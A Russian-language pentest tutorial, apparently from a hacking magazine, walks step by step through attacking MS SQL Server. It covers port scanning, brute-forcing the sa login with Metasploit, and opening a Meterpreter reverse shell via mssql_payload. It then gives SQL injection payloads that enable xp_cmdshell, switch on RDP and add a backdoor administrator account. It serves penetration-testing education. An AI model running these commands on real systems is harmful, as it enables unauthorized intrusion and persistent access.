ПРОВЕРЯЕМ НА ПРОЧНОСТЬ MS SQL ВЕКТОРЫ АТАК НА MS SQL SERVER
Практически ни один серьезный
пентест не обходится без проверки
СУБД, ведь это одна из самых по-
пулярных у злоумышленников дверей
к желаемой информации и машине.
В крупных проектах в качестве СУБД
очень часто используется MS SQL
Server. И о проверке именно его без-
опасности мы сегодня и поговорим.
Открывать Америку не будем — опыт-
ные камрады лишь освежат свои
знания, а вот для тех, кто только на-
чинает осваивать тему, я постарался
максимально подробно разложить
все по пунктам.
ВВЕДЕНИЕ
Один из самых важных критериев надежно-
сти информационной системы — безопас-
ность СУБД. Атаки, направленные на нее,
в большинстве случаев критические, потому
что могут частично либо полностью нару-
шить работоспособность системы. Посколь-
ку крупные организации формировали свою
инфраструктуру давным-давно и обновление
на новые версии ПО вызывает у них «боль-
шие» проблемы, самыми распространенны-
ми версиями до сих пор остаются MS SQL
Server 2005 и MS SQL Server 2008. Но это все-
го лишь статистика, и далее мы будем рас-
сматривать общие для всех версий векторы
и техники. Для удобства условно разобьем
весь процесс пентеста на несколько этапов.
КАК НАЙТИ MS SQL
Первое, что начинает делать пентестер, — это собирать ин-
формацию о сервисах, расположенных на сервере жертвы.
Самое главное, что нужно знать для поиска Microsoft SQL
Server, — номера портов, которые он слушает. А слушает
он порты 1433 (TCP) и 1434 (UDP). Чтобы проверить наличие
MS SQL на сервере, надо его просканировать. Для этого мож-
но использовать Nmap cо скриптом ms-sql-info. Запускаться
сканирование будет примерно так (результат на рис. 1):
nmap -p 1433 --script=ms-sql-info 192.168.18.128
Помимо Nmap, есть отличный сканирующий модуль для Мета-
сплоита mssql_ping, позволяющий также определять наличие
MS SQL на атакуемом сервере:
msf> use auxilary/scanner/mssql/mssql_ping
msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87
RHOSTS => 192.168.1.87
msf auxilary(mssql_ping) > run
Используя один из данных вариантов, можно быстренько
определить, установлен ли на сервере MS SQL, а также узнать
его версию. После чего можно переходить к следующему эта-
пу.
BRUTE FORCE
Допустим, СУБД на сервере мы обнаружили. Теперь стоит за-
дача получить к ней доступ. И тут нас встречает первое пре-
пятствие в виде аутентификации. Вообще, MS SQL поддержи-
вает два вида аутентификации:
1. Windows Authentication — доверительное соединение,
при котором SQL Server принимает учетную запись пользо-
вателя, предполагая, что она уже проверена на уровне опе-
рационной системы.
2. Смешанный режим — аутентификация средствами SQL
Server + Windows Authentication.
По умолчанию используется первый режим аутентифика-
ции, а смешанный режим активируется отдельно. На практике
же довольно трудно встретить базу без смешанного режима —
он более гибок.
Обычно на данном этапе мы не имеем доступа в корпора-
тивную сеть, тем самым использовать аутентификацию по-
средством Windows не можем. Но мы нашли открытый порт
с MS SQL, значит, пробуем побрутить админскую учетку sa,
Рис. 1. Сканирование
MS SQL при помощи
Nmap
Рис. 2. Сканирование
MS SQL при помощи
mssql_ping
стандартную для смешанного режима. Для автоматизации
процесса используем модуль Метасплоита mssql_login:
msf > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104
RHOSTS => 172.16.2.104
msf auxiliary(mssql_login) > set PASS_FILE/root/
Desktop/pass.txt
[*] 172.16.2.104:1433 - MSSQL - Starting
authentication scanner.
[*] 172.16.2.104:1433 - LOGIN FAILED:WORKSTATION\
sa:admin (Incorrect: )
[*] 172.16.2.104:1433 - LOGIN FAILED:WORKSTATION\
sa:qwerty (Incorrect: )
[*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\
sa:toor (Incorrect: )
[+] 172.16.2.104:1433 - LOGIN SUCCESSFUL:
WORKSTATION\sa:root
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Отлично! Пароль найден, теперь можем переходить к сле-
дующему этапу. Но что, если учетки sa на сервере не окажет-
ся? Тогда придется брутить и логин, для чего необходимо бу-
дет указать скрипту еще один файл, откуда их брать:
msf auxiliary(mssql_login) > set USER_FILE /root/
Desktop/user.txt
ПОЛУЧЕНИЕ SHELL’А
В случае если у нас получилось сбрутить учетку sa, мы мо-
жем залогиниться в БД. Далее сценарий прост — включаем
хранимую процедуру, позволяющую выполнять команды
на уровне операционной системы, и заливаем на сервер
Meterpreter shell. Крутые ребята написали для Метасплоита
отличный модуль mssql_payload, который автоматизирует
этот процесс:
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set RHOST 172.16.2.104
msf exploit(mssql_payload) > set USERNAME
sa USERNAME => sa
msf exploit(mssql_payload) > set PASSWORD root
PASSWORD => root
msf exploit(mssql_payload) > set PAYLOAD
windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST
172.16.2.105 LHOST => 172.16.2.105
[*] Command Stager progress - 100.00% done
(102246/102246 bytes)
[*] Meterpreter session 1 opened (172.16.2.105:4444
-> 172.16.2.104:3987) at 2015-02-20 10:42:52
-0500 meterpreter >
Сессия Meterpreter’a создана, теперь ты имеешь полный
доступ. Можешь дампить хеш админа, делать скриншоты, со-
здавать/удалять файлы, включать/выключать мышь или клави-
атуру и многое другое. Пожалуй, это самый популярный шелл,
который используется при тестах на проникновение. Полный
список команд Meterpreter’a можно подсмотреть здесь: goo.
gl/FPyXME.
ЧТО ДЕЛАТЬ, ЕСЛИ ЛОГИН/ПАРОЛЬ НЕ СБРУТИЛСЯ?
Но не обольщайся, не так часто модуль mssql_login будет тебя
радовать: пароль админы очень редко оставляют дефолтным.
В таком случае получить шелл нам поможет SQL-инъекция.
Представь себе HTML-форму, в которую пользователь вводит
номер статьи, и простой уязвимый запрос к БД, причем все это
работает под админской учеткой sa:
$strSQL = “SELECT * FROM [dbo].[articles]
WHERE id=$id”;
Переменная $id никак не фильтруется, значит, можно про-
вести SQL-инъекцию, в которой любой запрос будет выполнен
из-под админской учетки sa. Для того чтобы выполнять коман-
ды на уровне операционной системы, необходимо активиро-
вать хранимую процедуру xp_cmdshell, которая по умолча-
нию выключена. Нам потребуется отправить четыре запроса
для ее активации:
1. 10; EXEC sp_confi gure 'show advanced options',1;
2. 10; reconfi gure;
3. 10; ‘exec sp_confi gure 'xp_cmdshell',1;
4. 10; reconfi gure
Системная хранимая процедура sp_confi gure позволяет
просматривать, документировать, изменять и восстанавли-
вать конфигурацию сервера. Наиболее простой способ полу-
чить доступ к серверу — включить RDP через реестр, создать
пользователя с админскими правами и подключиться.
Включаем RDP:
10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\Current
ControlSet\Control\Terminal Server" /v fDeny
TSConnections /t REG_DWORD /d 0 /f
Создаем пользователя:
10; exec master.dbo.xp_cmdshell 'net user
root toor /ADD'
Даем права:
10;exec master.dbo.xp_cmdshell 'net
localgroup administrators root/add'
